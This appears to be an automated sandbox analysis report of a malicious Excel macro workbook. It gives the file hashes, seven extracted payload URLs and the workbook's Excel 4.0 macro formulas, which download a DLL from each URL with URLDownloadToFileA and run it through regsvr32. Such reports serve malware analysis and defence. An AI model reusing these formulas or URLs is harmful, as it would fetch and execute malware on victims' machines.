Behavioral task
behavioral1
Sample
c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da.xlsm
Resource
win10v2004-20241007-en
General
-
Target
c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da
-
Size
21KB
-
MD5
05b93aed69dfea0b593ee4c21505f757
-
SHA1
44f397a0a48da8159cd8c89fe88e2819e83759ca
-
SHA256
c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da
-
SHA512
e1f17a6f29fd28ec3dfe2c33aab50f4c66f7301c30bc743af3632fd72e2f35b057b7a1431a8f98e0008654ac20d854c3534d9c77e6efcfea59d441f90b567483
-
SSDEEP
384:Y8c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:YPksNPzXSFCBn9kC+xbLTc9
Malware Config
Extracted
http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/
https://physioacademy.co.uk/conditions/8I3WSx5t2k/
http://orchidbg.com/aeeiludqootr/OcnjiLHL/
https://westthamesphysio.com/blog/3tsZIz09Sox1Z/
http://snappylookphotobooth.com/headers/P/
http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/
http://casadorothea.com/cc/H5v/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/conditions/8I3WSx5t2k/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://orchidbg.com/aeeiludqootr/OcnjiLHL/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://westthamesphysio.com/blog/3tsZIz09Sox1Z/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://snappylookphotobooth.com/headers/P/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://casadorothea.com/cc/H5v/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
Files
-
c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da.xlsm office2007